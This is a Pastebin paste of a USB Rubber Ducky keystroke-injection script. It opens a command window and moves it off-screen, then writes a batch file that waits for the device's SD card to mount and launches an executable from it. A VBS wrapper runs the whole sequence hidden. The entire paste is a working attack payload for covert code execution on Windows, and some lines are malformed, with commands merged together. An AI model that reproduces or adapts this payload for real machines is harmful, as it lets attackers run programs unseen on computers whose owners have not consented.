Advertisement
Guest User

Scirpt~javascriptshowalert

a guest
Oct 27th, 2016
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. REM Name: RunEXE.txt
  2. REM Purpose: Run an executable file off of the SD card after it mounts.
  3. REM Encoder V2.4
  4. REM Using the run command for a broader OS base.
  5. DEFAULT_DELAY 25
  6. DELAY 3000
  7. GUI r
  8. DELAY 1000
  9. STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
  10. DELAY 500
  11. ENTER
  12. DELAY 750
  13. ALT SPACE
  14. STRING M
  15. DOWNARROW
  16. REPEAT 100
  17. ENTER
  18. REM Change directories because System32 appears to be protected.
  19. STRING CD %TEMP%
  20. ENTER
  21. REM Make batch file that waits for SD card to mount.
  22. REM Delete batch file if already exists STRING erase /Q DuckyWait.bat
  23. ENTER
  24. STRING copy con DuckyWait.bat
  25. ENTER
  26. REM DuckyWait.bat
  27. STRING :while1
  28. ENTER
  29. STRING for /f %%d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%%d
  30. ENTER
  31. STRING if Exist %myd% (
  32. ENTER
  33. STRING goto :break
  34. ENTER
  35. STRING )
  36. ENTER
  37. STRING timeout /t 30
  38. ENTER STRING goto :while1
  39. ENTER
  40. STRING :break
  41. ENTER
  42. REM Continue script.
  43. STRING START %myd%\javascriptshowalert.exe
  44. ENTER
  45. CONTROL z
  46. ENTER
  47. REM MAKE THE VBS FILE THAT ALLOWS RUNNING INVISIBLY.
  48. REM Delete vbs file if already exists
  49. STRING erase /Q invis.vbs
  50. ENTER STRING copy con invis.vbs
  51. ENTER STRING CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
  52. ENTER CONTROL Z
  53. ENTER
  54. REM RUN THE BATCH FILE
  55. STRING wscript.exe invis.vbs DuckyWait.bat
  56. ENTER
  57. STRING EXIT
  58. ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement